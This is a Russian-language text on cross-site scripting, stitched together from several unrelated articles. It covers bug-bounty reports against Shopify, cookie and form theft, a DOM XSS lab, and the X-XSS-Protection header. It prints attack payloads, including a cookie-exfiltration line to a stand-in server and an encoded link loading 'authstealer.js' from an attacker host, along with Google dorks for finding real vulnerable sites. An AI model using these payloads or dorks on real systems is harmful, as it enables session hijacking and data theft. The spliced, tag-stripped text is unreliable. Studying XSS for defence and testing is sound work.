Межсайтовый скриптинг, или Cross site scripting, или XSS, предполагает наличие сайта, подключающего непредусмотренный код Javascript, который, в свою очередь, передается пользователям, исполняющим этот код в своих браузерах. Безобидный пример XSS (именно такой вы должны использовать!) выглядит так:

alert(‘XSS’);

Это создаст вызовет функцию Javascript alert и создаст простое (и безобидное) окошко с буквами XSS. В предыдущих версиях книги я рекомендовал вам использовать этот пример при написании отчетов. Это было так, пока один чрезвычайно успешный хакер не сказал мне, что это был “ужасный пример”, объяснив, что получатель отчета об уязвимости может не понять опасность проблемы и из-за безобидности примера выплатить небольшое вознаграждение.

Таким образом, используйте этот пример для обнаружения XSS-уязвимости, но при составлении отчета подумайте о потенциальном вреде, который может нанести уязвимость и объясните его. Под этим я не подразумеваю рассказ компании о том, что же такое XSS, но предлагаю объяснить, чего вы можете добиться, используя уязвимость и как конкретно это могло отразиться на их сайте.

Существует три различных вида XSS, о которых вы могли слышать при исследовании и написании отчетов:

• Reflective XSS: эти атаки не сохраняются на сайте, что означает создание и выполнение XSS в одном запросе и ответе.
• Stored XSS: эти атаки сохраняются на сайте и зачастую более опасны. Они сохраняются на сервере и выполняются на “нормальных” страницах ничего не подозревающими пользователями.
• Self XSS: эти атаки также не сохраняются на сайте и обычно используются как часть обмана человека с целью запуска XSS им самим.Когда вы ищете уязвимости, вы обнаружите, что компании зачастую не заботятся об устранении Self XSS, они беспокоятся только о тех случаях, когда вред их пользователям может быть нанесен не ими самими, а кем-либо еще, как в случае с Reflective и Stored XSS. Однако, это не значит, что вы не должны искать Self XSS.

Если вы нашли ситуацию, в которой Self XSS может быть выполнен, но не сохранен, подумайте о том, как может быть использована эта уязвимость, сможете ли вы использовать её в комбинации с чем-либо, чтобы она уже не была Self XSS?

Один из самых известных примеров использования XSS - MySpace Samy Work, выполненный Сами Камкаром. В октябре 2005 Сами использовал уязвимость stored XSS на MySpace, что позволило ему загрузить код Javascript, который выполнялся каждый раз, когда кто-нибудь посещал его страницу MySpace, добавляя посетителя страницы в друзья профиля Сами. Более того, код также копировал себя на страницы новых друзей Сами таким образом, чтобы профили новых его друзей обновлялись со следующим текстом: “but most of all, samy is my hero”.

Хотя пример Сами был относительно безобидным, использование XSS позволяет красть логины, пароли, банковскую информацию, и так далее. Несмотря на потенциальный вред, исправление XSS-уязвимостей, как правило, не является сложным и требует от разработчиков просто экранировать пользовательский ввод (прямо как в HTML-инъекции) при его отображении. Хотя, некоторые сайты так же убирают потенциально вредоносные символы, когда хакер их отправляет.

1. Распродажа Shopify

Сложность: Низкая
Url: wholesale.shopify.com
Ссылка на отчет: https://hackerone.com/reports/10629326 Дата отчета: 21 декабря 2015
Выплаченное вознаграждение: $500
Описание:

Сайт распродажи Shopify27 является простой страницей с прямым призывом к действию - введите название товара и нажмите “Find Products”. Вот скриншот:

Скриншот сайта распродаж wholesale

XSS-уязвимость здесь была самой простой, какую только можно найти - текст, введенный в поисковую строку не был экранирован, так что исполнялся любой введенный Javascript. Вот отправленный текст из описания уязвимости: test’;alert(‘XSS’);’

Причина того, что это сработало, в том, что Shopify принимал пользовательский ввод, выполнял поисковый запрос и при отсутствии результатов, печатал сообщение, сообщающее об отсутствии результатов поиска по введенному запросу, показывая на странице не экранированный пользовательский ввод. В результате, отправленный Javascript рендерился на странице и браузеры интерпретировали его как исполняемый Javascript.

Выводы

Тестируйте все, уделяйте особое внимание ситуациям, где введенный текст рендерится на странице. Проверяйте, можете ли вы включить в ввод HTML или Javascript, и смотрите, как сайт обрабатывает их. Так же пробуйте закодировать ввод подобно тому, как описано в главе, посвященной HTML-инъекциям.

XSS-уязвимости не должны быть сложными или запутанными. Эта уязвимость была самой простой, какую можно представить - простое поле для ввода текста, которое не обрабатывает пользовательский ввод. И она была обнаружена 21 декабря 2015, и принесла хакеру $500! Все, что потребовалось - хакерское мышление.

2. Корзина подарочных карт Shopify

Сложность: Низкая
Url: hardware.shopify.com/cart
Ссылка на отчет: https://hackerone.com/reports/9508928 Дата отчета: 21 октября 2015
Выплаченное вознаграждение: $500
Описание:

Сайт магазина подарочных карт Shopify29 позволяет пользователям создавать собственное оформление для подарочных карт с помощью HTML-формы, включающей в себя окошко загрузки файла, несколько строк для ввода текста деталей, и так далее. Вот скриншот:

Скриншот формы магазина подарочных карт Shopify

XSS-уязвимость здесь срабатывала, когда в поле формы, предназначенное для названия изображения, вводили Javascript. Это довольно легко сделать, используя HTML прокси, о которых мы поговорим позднеев главе “Инструменты”. Итак, оригинальная отправка формы включала:

Content - Disposition : form - data ; name = ”properties [ Artwor 2 k file ] ”

Её можно было перехватить и изменить на:

Content - Disposition : form - data ; name = ”properties [ Artwor 2 k file < img src = ’test ’onmouseover = ’alert (2 ) ’> ] ”;

Выводы

Здесь можно подметить две вещи, которые помогут обнаруживать XSS-уязвимости.

Что такое XSS и как от него защитится все уже давно знают, поэтому буду краток. XSS это возможность злоумышленника определенным образом (ссылку на возможные варианты смотрите в конце статьи) интегрировать в страницу сайта-жертвы скрипт, который будет выполнен при ее посещении.

Интересно, что в большинстве случаев, где описывается данная уязвимость, нас пугают следующим кодом:

http://www.site.com/page.php?var=<script>alert("xss");

Как-то не очень страшно:) Чем же действительно может быть опасной данная уязвимость?

Пассивная и активная

Существует два типа XSS уязвимостей - пассивная и активная.

Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в базу или какой-нибудь файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection). Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.

Пример пассивной уязвимости можно посмотреть в самом начале статьи. Тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да еще и не факт что жертвы окажутся наивными и перейдут по вашей ссылке.

Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры. С POST-параметрами, понятно, придется идти на ухищрения. Например, переадресация с сайта злоумышленника.

document.getElementsByTagName("form").submit();

Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).

Кража Cookies

Это наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш) пользователя), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.

var іmg = new Image(); іmg.srс = "http://site/xss.php?" + document.cookie;

Поэтому и ввели доменные ограничения на XMLHttpRequest, но злоумышленнику это не страшно, поскольку есть , , , background:url(); и т.п.

Кража данных из форм

Ищем форму через, например, getElementById и отслеживаем событие onsubmit. Теперь, перед отправкой формы, введенные данные отправляются также и на сервер злоумышленника.

Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.

DDoS-атака (распределенная атака типа «отказ в обслуживании»)

XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста - много запросов, которые не выдерживает атакуемый сервер.
Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:

Подделка межсайтовых запросов (CSRF/XSRF)

Также имеет косвенное отношение к XSS. Вообще это отдельный тип уязвимости, но часто используется совместно с XSS. Суть заключается в том, что пользователь, авторизированный на неуязвимом сайте, заходит на уязвимый (или специальную страницу злоумышленника), с которого отправляется запрос на совершение определенных действий.

Грубо говоря, в идеале это должно быть так. Пользователь авторизировался в системе платежей. Потом зашел на сайт злоумышленника или сайт с XSS-уязвимостью, с которого отправился запрос на перевод денег на счет злоумышленника.

Поэтому большинство сайтов при совершении определенных действий пользователя (например, смена e-mail) переспрашивают пароль или просят ввести код подтверждения.

XSS-черви

Этот тип атаки появился, наверное, благодаря соцсетям, таким как Вконтакте и Twitter. Суть в том, что нескольким пользователям соцсети посылается ссылка с XSS-уязвимостью, когда они перейдут по ссылке, то интегрированный скрипт рассылает сообщения другим пользователям от их имени и т.д. При этом могут совершаться и другие действия, например отсылка личных данных жертв злоумышленнику.

Безобидный XSS

Интересно, что счетчики по своей сути тоже являются в некотором роде активной XSS-атакой. Ведь на сторонний сервер передаются данные о посетителе, как, например, его IP-адрес, разрешение монитора и т.п. Только код в свою страничку вы интегрируете по собственной воле:) Взгляните, например, на код Google Analytic.

• 1.Что такое XSS
• 2.Виды XSS
• 3.Особенности XSS основанных на DOM
• 4.XSS Auditor
• 5.Примеры эксплуатирования XSS
• 6.Поиск сайтов уязвимых к XSS
• 7.Программы для поиска и сканирования XSS уязвимости

Что такое XSS

Межсайтовый скриптинг (XSS) – это уязвимость, которая заключается во внедрении кода, исполняемого на стороне клиента (JavaScript) в веб-страницу, которую просматривают другие пользователи.

Уязвимость возникает из-за недостаточной фильтрации данных, которые пользователь отправляет для вставки в веб-страницу. Намного проще понять на конкретном пример. Вспомните любую гостевую книгу – это программы, которые предназначены для принятия данных от пользователя и последующего их отображения. Представим себе, что гостевая книга никак не проверяет и не фильтрует вводимые данные, а просто их отображает.

Можно набросать свой простейший скрипт (нет ничего проще, чем писать плохие скрипты на PHP – этим очень многие занимаются). Но уже предостаточно готовых вариантов. Например, я предлагаю начать знакомство с Dojo и OWASP Mutillidae II. Там есть похожий пример. В автономной среде Dojo перейдите в браузере по ссылке: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Если кто-то из пользователей ввёл:

Привет! Как дела.

То веб-страница отобразит:

Привет! Как дела.

А если пользователь введёт так:

Привет! Как дела. alert("Pwned")

То отобразиться это так:

Браузеры хранят множества Cookie большого количества сайтов. Каждый сайт может получить кукиз только сохранённые им самим. Например, сайт example.com сохранил в вашем браузере некоторые кукиз. Вы заши на сайт another.com, этот сайт (клиентские и серверные скрипты) не могут получить доступ к кукиз, которые сохранил сайт example.com.

Если сайт example.com уязвим к XSS, то это означает, что мы можем тем или иным способом внедрить в него код JavaScript, и этот код будет исполняться от имени сайта example.com! Т.е. этот код получит, например, доступ к кукиз сайта example.com.

Думаю, все помнят, что исполняется JavaScript в браузерах пользователей, т.е. при наличии XSS, внедрённый вредоносный код получает доступ к данным пользователя, который открыл страницу веб-сайта.

Внедрённый код умеет всё то, что умеет JavaScript, а именно:

• получает доступ к кукиз просматриваемого сайта
• может вносить любые изменения во внешний вид страницы
• получает доступ к буферу обмена
• может внедрять программы на JavaScript, например, ки-логеры (перехватчики нажатых клавиш)
• подцеплять на BeEF

Простейший пример с cookie:

alert(document.cookie)

На самом деле, alert используется только для выявления XSS. Реальная вредоносная полезная нагрузка осуществляет скрытые действия. Она скрыто связывается с удалённым сервером злоумышленника и передаёт на него украденные данные.

Виды XSS

Самое главное, что нужно понимать про виды XSS то, что они бывают:

• Хранимые (Постоянные)
• Отражённые (Непостоянные)

Пример постоянных:

• Введённое злоумышленником специально сформированное сообщение в гостевую книгу (комментарий, сообщение форума, профиль) которое сохраняется на сервере, загружается с сервера каждый раз, когда пользователи запрашивают отображение этой страницы.
• Злоумышленник получил доступ к данным сервера, например, через SQL инъекцию, и внедрил в выдаваемые пользователю данные злонамеренный JavaScript код (с ки-логерами или с BeEF).

Пример непостоянных:

• На сайте присутствует поиск, который вместе с результатами поиска показывает что-то вроде «Вы искали: [строка поиска]», при этом данные не фильтруются должным образом. Поскольку такая страница отображается только для того, у кого есть ссылка на неё, то пока злоумышленник не отправит ссылку другим пользователям сайта, атака не сработает. Вместо отправки ссылки жертве, можно использовать размещение злонамеренного скрипта на нейтральном сайте, который посещает жертва.

Ещё выделяют (некоторые в качестве разновидности непостоянных XSS уязвимостей, некоторые говорят, что этот вид может быть и разновидностью постоянной XSS):

• DOM-модели

Особенности XSS основанных на DOM

Если сказать совсем просто, то злонамеренный код «обычных» непостоянных XSS мы можем увидеть, если откроем HTML код. Например, ссылка сформирована подобным образом:

Http://example.com/search.php?q="/>alert(1)

А при открытии исходного HTML кода мы видим что-то вроде такого:

< div class = "m__search" > < form method = "get" action = "/search.php" > < input type = "text" class = "ui-input query" name = "q" value = "" /> < script >alert(1)" /> < button type = "submit" class = "ui-button" >Найти

А DOM XSS меняют DOM структуру, которая формируется в браузере на лету и увидеть злонамеренный код мы можем только при просмотре сформировавшейся DOM структуры. HTML при этом не меняется. Давайте возьмём для примера такой код:

< html > < head > < title >сайт:::DOM XSS < meta charset = "UTF-8" > < meta name = "viewport" content = "width=device-width, initial-scale=1.0" > < body > < div id = "default" > An error occurred... < script > function OnLoad() { var foundFrag = get_fragment(); return foundFrag; } function get_fragment() { var r4c = "(.*?)"; var results = location.hash.match(".*input=token(" + r4c + ");") if (results) { document.getElementById("default").innerHTML = ""; return (unescape(results)); } else { return null; } } display_session = OnLoad(); document.write("Your session ID was: " + display_session + "< br >< br >")

То в браузере мы увидим:

Исходный код страницы:

Давайте сформируем адрес следующим образом:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

Теперь страница выглядит так:

Но давайте заглянем в исходный код HTML:

Там совершенно ничего не изменилось. Про это я и говорил, нам нужно смотреть DOM структуру документа, чтобы выявить злонамеренный код:

Здесь приведён рабочий прототип XSS, для реальной атаки нам нужна более сложная полезная нагрузка, которая невозможна из-за того, что приложение останавливает чтение сразу после точки с запятой, и что-то вроде alert(1);alert(2) уже невозможно. Тем не менее, благодаря unescape() в возвращаемых данных мы можем использовать полезную нагрузку вроде такой:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Где мы заменили символ ; на кодированный в URI эквивалент!

Теперь мы можем написать вредоносную полезную нагрузку JavaScript и составить ссылку для отправки жертве, как это делается для стандартного непостоянного межсайтового скриптинга.

XSS Auditor

В Google Chrome (а также в Opera, которая теперь использует движок Google Chrome), меня ждал вот такой сюрприз:

dom_xss.html:30 The XSS Auditor refused to execute a script in ‘http://localhost/tests/XSS/dom_xss.html#input=token<script>alert(1);’ because its source code was found within the request. The auditor was enabled as the server sent neither an ‘X-XSS-Protection’ nor ‘Content-Security-Policy’ header.

Т.е. теперь в браузере есть XSS аудитор, который будет пытаться предотвращать XSS. В Firefox ещё нет такой функциональности, но, думаю, это дело времени. Если реализация в браузерах будет удачной, то можно говорить о значительном затруднении применения XSS.

Полезно помнить, что современные браузеры предпринимают шаги по ограничение уровня эксплуатации проблем вроде непостоянных XSS и основанных на DOM XSS. В том числе это нужно помнить при тестировании веб-сайтов с помощью браузера – вполне может оказаться, что веб-приложение уязвимо, но вы не видите всплывающего подтверждения только по той причине, что его блокирует браузер.

Примеры эксплуатирования XSS

Злоумышленники, намеревающиеся использовать уязвимости межсайтового скриптинга, должны подходить к каждому классу уязвимостей по-разному. Здесь описаны векторы атак для каждого класса.

При уязвимостях XSS в атаках может использоваться BeEF, который расширяет атаку с веб-сайта на локальное окружение пользователей.

Пример атаки с непостоянным XSS

1. Алиса часто посещает определённый веб-сайт, который хостит Боб. Веб-сайт Боба позволяет Алисе осуществлять вход с именем пользователя/паролем и сохранять чувствительные данные, такие как платёжная информация. Когда пользователь осуществляет вход, браузер сохраняет куки авторизации, которые выглядят как бессмысленные символы, т.е. оба компьютера (клиент и сервер) помнят, что она вошла.

2. Мэлори отмечает, что веб-сайт Боба содержит непостоянную XSS уязвимость:

2.1 При посещении страницы поиска, она вводим строку для поиска и кликает на кнопку отправить, если результаты не найдены, страница отображает введённую строку поиска, за которой следуют слова «не найдено» и url имеет вид http://bobssite.org?q=её поисковый запрос

2.2 С нормальным поисковым запросом вроде слова «собачки » страница просто отображает «собачки не найдено» и url http://bobssite.org?q=собачки , что является вполне нормальным поведением.

2.3 Тем не менее, когда в поиск отправляется аномальный поисковый запрос вроде alert(‘xss’); :

2.3.1 Появляется сообщение с предупреждением (которое говорит «xss»).

2.3.2 Страница отображает alert(‘xss’); не найдено наряду с сообщением об ошибке с текстом ‘xss’.

2.3.3 url, пригодный для эксплуатации http://bobssite.org?q=alert(‘xss’);

3. Мэлори конструирует URL для эксплуатации уязвимости:

3.1 Она делает URL http://bobssite.org?q=puppies . Она может выбрать конвертировать ASCII символы в шестнадцатеричный формат, такой как http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E для того, чтобы люди не смогли немедленно расшифровать вредоносный URL.

3.2 Она отправляет e-mail некоторым ничего не подозревающим членом сайта Боба, говоря: «Зацените клёвых собачек».

4. Алиса получает письмо. Она любит собачек и кликает по ссылке. Она переходит на сайт Боба в поиск, она не находит ничего, там отображается «собачки не найдено», а в самой середине запускается тэг со скриптом (он невидим на экране), загружает и выполняет программу Мэлори authstealer.js (срабатывание XSS атаки). Алиса забывает об этом.

5. Программа authstealer.js запускается в браузере Алисы так, будто бы её источником является веб-сайт Боба. Она захватывает копию куки авторизации Алисы и отправляет на сервер Мэлори, где Мэлори их извлекает.

7. Теперь, когда Мэлори внутри, она идёт в платёжный раздел веб-сайта, смотрит и крадёт копию номера кредитной карты Алисы. Затем она идёт и меняет пароль, т.е. теперь Алиса даже не может больше зайти.

8. Она решает сделать следующий шаг и отправляет сконструированную подобным образом ссылку самому Бобу, и таким образом получает административные привилегии сайта Боба.

Атака с постоянным XSS

Мэлори имеет аккаунт на сайте Боба.

Мэлори замечает, что веб-сайт боба содержит постоянную XSS уязвимость. Если вы переходите в новый раздел, размещаете комментарий, то он отображает что бы в него не напечатали. Но если текст комментария содержит HTML тэги, эти тэги будут отображены как есть, и любые тэги скриптов запускаются.

Мэлори читает статью в разделе Новости и пишет комментарий в разделе Комментарии. В комментарий она вставляет текст:

В этой истории мне так понравились собачки. Они такие славные!

Когда Алиса (или ещё кто-либо) загружают страницу с этим комментарием, тэг скрипта Мэлори запускается и ворует куки авторизации Алисы, отправляет на секретный сервер Мэлори для сбора.

Мэлори теперь может перехватить сессию Алисы и выдать себя за Алису.

Поиск сайтов уязвимых к XSS

Дорки для XSS

Первым шагом является выбор сайтов, на которых мы будем выполнять XSS атаки. Сайты можно искать с помощью дорков Google. Вот несколько из таких дорков, которые скопируйте и вставьте в поиск Гугла:

• inurl:search.php?q=
• inurl:.php?q=
• inurl:search.php
• inurl:.php?search=

Перед нами откроется список сайтов. Нужно открыть сайт и найти на нём поля ввода, такие как форма обратной связи, форма ввода, поиск по сайту и т.д.

Сразу замечу, что практически бесполезно искать уязвимости в популярных автоматически обновляемых веб-приложениях. Классический пример такого приложения – WordPress. На самом деле, уязвимости в WordPress, а в особенности в его плагинах, имеются. Более того, есть множество сайтов, которые не обновляют ни движок WordPress (из-за того, что веб-мастер внёс в исходный код какие-то свои изменения), ни плагины и темы (как правило, это пиратские плагины и темы). Но если вы читаете этот раздел и узнаёте из него что-то новое, значит WordPress пока не для вас… К нему обязательно вернёмся позже.

Самые лучшие цели – это разнообразные самописные движки и скрипты.

В качестве полезной нагрузки для вставки можно выбрать

alert(1)

Обращайте внимание, в какие именно тэги HTML кода попадает ваш внедрённый код. Вот пример типичного поля ввода

< input type = "text" class = "ui-input query" name = "q" value = "наволочка" />< script >alert(1)< input value = "" />

Наша полезная нагрузка попадёт туда, где сейчас слово «наволочка». Т.е. превратиться в значение тэга input . Мы можем этого избежать – закроем двойную кавычку, а затем и сам тэг с помощью «/>

"/>alert(1)

Программы для поиска и сканирования XSS уязвимости

Наверное, все сканеры веб-приложений имеют встроенный сканер XSS уязвимостей. Эта тема неохватная, лучше знакомиться с каждым подобным сканером отдельно.

Имеются также специализированные инструменты для сканирования на XSS уязвимости. Среди них особенно можно выделить:

• XSSer – это не только мощный сканер, который умеет использовать разные методы внедрения и обхода фильтрации, это также автоматизированный инструмент по поиску уязвимых к XSS сайтов (по доркам). Для сайтов с найденными уязвимостями умеет внедрять полезную нагрузку для реальной атаки;
• XssPy – тоже достаточно самостоятельный инструмент, который умеет находить все страницы сайта (в том числе и на субдоменах) и проверять все элементы ввода на этих страницах;
• BruteXSS – положительной особенностью этого инструмента является полное исключение ложных срабатываний.

Уязвимые веб-приложения для тестирования XSS

Большинство наборов уязвимых веб-приложений (кроме некоторых узкоспециальных) имеют в своём составе сайты, уязвимые к XSS. Самым лучшим вариантом является их использование в автономной среде обучения Dojo , который собрал множество приложений для тестирования. Например, свои навыки по выявлению и эксплуатации XSS можно тренировать на:

Damn Vulnerable Web App (DVWA):

• http://localhost/dvwa/vulnerabilities/xss_r/ (непостоянная XSS)
• http://localhost/dvwa/vulnerabilities/xss_s/ (хранимая XSS)

Mutillidae/NOWASP (очень много самых разнообразных вариаций XSS)

• http://localhost/mutillidae/

Межсайтовые скрипты (XSS) относятся к атаке инъекции кода на стороне клиента, в которой злоумышленник может выполнять вредоносные скрипты на веб-сайте или веб-приложении. XSS является одним из наиболее распространенных уязвимостей веб-приложения и происходит, когда веб-приложение не использует валидацию или кодирование вводимы-выводимых данных.

Используя XSS, злоумышленник не нацеливается непосредственно на жертву. Вместо этого он воспользуется уязвимостью веб-сайта или веб-приложения, которое посетит жертва, по существу используя уязвимый веб-сайт в качестве средства доставки вредоносного сценария в браузер жертвы.

В то время как XSS может быть использован в VBScript, ActiveX и Flash (хотя последний в настоящее время считается устаревшим), бесспорно, им наиболее широко злоупотребляют в JavaScript – в первую очередь потому, что JavaScript имеет фундаментальное значение для большинства сайтов.

Как работает межсайтовый скрипт

Чтобы запустить вредоносный код JavaScript в браузере жертвы, злоумышленник должен сначала найти способ внедрить полезные данные на веб-страницу, которую посещает жертва. Конечно, злоумышленник может использовать методы социальной инженерии, чтобы убедить пользователя посетить уязвимую страницу с введенной полезной нагрузкой JavaScript.

Для атаки на XSS уязвимый веб-сайт должен непосредственно включать пользовательский ввод на своих страницах. Затем злоумышленник может вставить строку, которая будет использоваться на веб-странице и обрабатываться браузером жертвы как код.

Следующий псевдо-код на стороне сервера используется для отображения последнего комментария на веб-странице.

Print "" print "Most recent comment" print database.latestComment print "" Приведенный выше скрипт просто распечатывает последний комментарий из базы данных комментариев и печатает содержимое на HTML-странице, предполагая, что распечатанный комментарий состоит только из текста.

Вышеупомянутый код страницы уязвим к xss, потому что злоумышленник может оставить комментарий, который содержит вредоносную нагрузку, например

doSomethingEvil();. Пользователи, посещающие веб-страницу, получат следующую HTML-страницу.

Most recent comment doSomethingEvil(); Когда страница загружается в браузере жертвы, вредоносный скрипт злоумышленника будет выполняться, чаще всего без осознания или возможности пользователя предотвратить такую атаку.

Важное примечание: -xss-уязвимость может существовать только если полезная нагрузка (вредоносный скрипт), который злоумышленник вставляет, в конечном счете обрабатывается (как HTML в данном случае) в браузере жертвы

Что может сделать злоумышленник с JavaScript?

Последствия того, что злоумышленник может сделать с возможностью выполнения JavaScript на веб-странице, могут не сразу проявиться, тем более что браузеры запускают JavaScript в очень жестко контролируемой среде и что JavaScript имеет ограниченный доступ к операционной системе пользователя и файлам пользователя.

Однако, учитывая, что JavaScript имеет доступ к следующему, легче понять, что творческие злоумышленники могут получить с JavaScript.

Вредоносный JavaScript имеет доступ ко всем тем же объектам, что и остальная часть веб-страницы, включая доступ к cookies. Файлы cookie часто используются для хранения маркеров сеансов, если злоумышленник может получить файл cookie сеанса пользователя, он может олицетворять этого пользователя.

JavaScript может использовать XMLHttpRequest для отправки http-запросов с произвольным содержанием в произвольных направлениях.

JavaScript в современных браузерах может использовать API HTML5, такие как доступ к геолокации пользователя, веб-камера, микрофон и даже конкретные файлы из файловой системы пользователя. В то время как большинство из этих API требуют участия пользователя, XSS в сочетании с некоторой умной социальной инженерией может принести злоумышленнику неплохие результаты.

Вообще, в сочетании с социальной инженерией, это способы позволяют злоумышленникам организовывать такие атаки, как кражу кук, кейлоггинг, фишинг и кражи личных данных. Критично, что уязвимости XSS обеспечивают идеальную почву для нападающих для эскалации атак на более серьезные.

Разве межсайтовые скрипты не проблема пользователя?

Нет. Если злоумышленник может злоупотребить уязвимостью XSS на веб-странице, чтобы выполнить произвольный JavaScript в браузере посетителя, безопасность этого веб-сайта или веб - приложения и его пользователей была скомпрометирована-xss не является проблемой пользователя, как и любая другая Уязвимость безопасности, если она затрагивает ваших пользователей, это повлияет на вас.

Анатомия межсайтовой скриптовой атаки

Для Xss-атаки нужны три участника: сайт, жертва и нападающий. В приведенном ниже примере предполагается, что целью злоумышленника является выдача себя за жертву путем кражи куки жертвы. Отправка файлов cookie на сервер злоумышленника может быть осуществлена различными способами, одним из которых является выполнение следующего кода JavaScript в браузере жертвы с помощью уязвимости XSS.

window.?cookie=” + document.cookie На рисунке ниже показано пошаговое руководство по простой атаке XSS.

• Злоумышленник вводит полезные данные в базу данных веб-сайта, отправляя уязвимую форму с помощью вредоносного кода JavaScript
• Жертва запрашивает веб-страницу с веб-сайта
• Веб-сайт служит браузеру жертвы страница с полезной нагрузкой злоумышленника как часть тела HTML.
• Браузер жертвы будет выполнять вредоносный скрипт внутри тела HTML. В этом случае он отправит куки жертвы на сервер злоумышленника. Теперь злоумышленник должен просто извлечь файл cookie жертвы, когда HTTP-запрос поступает на сервер, после чего злоумышленник может использовать украденный файл cookie жертвы.

Некоторые примеры скриптов межсайтовой атаки

Ниже приведен небольшой список сценариев атаки XSS, которые злоумышленник может использовать для нарушения безопасности веб-сайта или веб-приложения.

тег

Этот тег является наиболее прямой xss уязвимостью. Тег script может ссылаться на внешний код JavaScript.

alert("XSS"); тег

При xss инъекция может быть доставлена внутрь тега с помощью onload атрибута или другим более темным атрибутом, таким как background.

тег Некоторые браузеры будут выполнять JavaScript, когда он находится в .

тег Этот тег позволяет встраивать другую HTML-страницу в родительскую. IFrame может содержать JavaScript, однако важно отметить, что JavaScript в iFrame не имеет доступа к DOM родительской страницы из-за политики безопасности содержимого браузера (CSP). Тем не менее, IFrames по-прежнему являются очень эффективным средством для фишинговых атак.

тег

В некоторых браузерах, если этот type атрибут тега имеет значение image, он может использоваться для размещения скрипта.

тег

В теге, который часто используется для ссылки на внешние таблицы стилей, могут содержаться скрипт.

тег

Вackground атрибут table и td тегов может быть использован для обозначения скрипт вместо изображения.

тег

В теге, аналогично

и

теги можно указать фон, и поэтому вставить скрипт. тег Этот тег может использоваться для включения в скрипт с внешнего сайта. Уязвим ли ваш сайт для межсайтового скриптинга? Уязвимости XSS являются одними из наиболее распространенных уязвимостей веб-приложений в интернете. К счастью, легко проверить, если ваш веб-сайт или веб-приложение уязвимы для XSS и других уязвимостей, просто обратившись ко мне. Я за небольшую плату с помощью специальных программ просканирую ваш ресурс, найду потенциальные уязвимости и подскажу, как их устранить. Использование заголовков безопасности является важным звеном в защите сайта и его посетителей от хакерских атак. В прошлой статье про из рубрики по защите и безопасности я обещал регулярно публиковать записи на эту тему. Сегодня я расскажу про защиту от XSS атаки. Что такое XSS-атака Межсайтовый скриптинг (Cross Site Scripting) — это уязвимость, которая позволяет злоумышленнику внедрить вредоносный код (обычно HTML или JavaScript) в содержимое сайта. Вредоносный код выполняется в браузере пользователя, который просматривает зараженную страницу сайта. Злоумышленники могут эксплуатировать различные уязвимости. Наибольшее распространение получили два типа атаки: Отражённая (Reflected XSS) — самый распространенный непостоянный тип атаки, требующий выполнения определённого действия со стороны пользователя. Хранимая (Persistent XSS) — постоянный тип атаки с внедрением вредоносного кода на сервер, не требует вмешательства пользователя. Отражённая XSS-атака Срабатывает при переходе пользователя по специально подготовленной ссылке, которая отправляет запрос на сайт с уязвимостью. Данная уязвимость обычно является результатом недостаточной фильтрации входящих запросов, что позволяет манипулировать функциями и активировать вредоносные скрипты. Злоумышленник внедряет в гиперссылку вредоносный скрипт, позволяющий просматривать cookies пользовательской сессии, и отправляет жертве по электронной почте или другим средствам коммуникации. При переходе по ссылке пользователь становится захваченным. Скрипт выполняется в браузере пользователя. Браузер отправляет cookies злоумышленнику, обеспечивая доступ к личным данным пользователя. Хранимая XSS-атака Для успешного выполнения хранимой атаки злоумышленнику достаточно найти уязвимость на сайте и разместить на своём сервере вредоносный скрипт. Затем на сайте размещается тег , который загружает скрипт с с внешнего сайта, например, в комментариях. При загрузке заражённой страницы вредоносный скрипт каждый раз передаётся в браузер пользователя. Злоумышленник обнаруживает сайт с XSS уязвимостью и выполняет инъекцию вредоносного скрипта, который крадет cookies пользователя. При каждом посещении сайта вредоносный скрипт активируется без выполнения каких либо действий. Сессионные куки из браузера посетителя отправляются злоумышленнику. Включение заголовка X-XSS-Protection Заголовок X-XSS-Protection предназначен для включения фильтра межсайтового скриптинга, встроенного во всех современных браузерах. Он позволит, например, предотвратить выполнение тега в URL страницы. Директива report для отправки отчётов действует аналогично директиве report-uri (или report-to) Content Security Policy (CSP), указывая браузеру пользователя сообщать о попытках нарушения политики безопасности контента. Об этом я расскажу в отдельной статье. Отчёт о нарушениях формируется в формате JSON и отправляется POST-запросами по указанному адресу URL. Возвращаясь к основной теме, рекомендую настроить сервер таким образом, чтобы HTTP заголовок включал фильтрацию и при XSS-атаке блокировал загрузку страницы с небезопасным содержимым. В файле дополнительной конфигурации.htaccess (или httpd.conf, если у вас есть полный доступ к серверу) веб-сервера Apache необходимо добавить следующую запись: Header set X-XSS-Protection "1; mode=block" Для сервера Nginx дополните файл nginx.conf в разделе HTTP записью: Add_header X-XSS-Protection "1; mode=block" ; В том случае, если доступ к конфигурационным файлам сервера отсутствует, но есть поддержка PHP, тогда используйте функцию: Cross Site Scripting, также известный как XSS, — это один из способов внедрения вредоносного кода, который исполняется на стороне клиента. Пользователь может заметить что-то неладное, например, необычное поведение страницы, иногда атака совершается абсолютно не заметно в фоновом режиме. Надеюсь, теперь вы стали немного больше понимать в HTTP-заголовках сервера и X-XSS поможет предотвратить межсайтовый скриптинг. Я использую заголовки безопасности на всех своих сайтах и настоятельно рекомендую вам сделать тоже 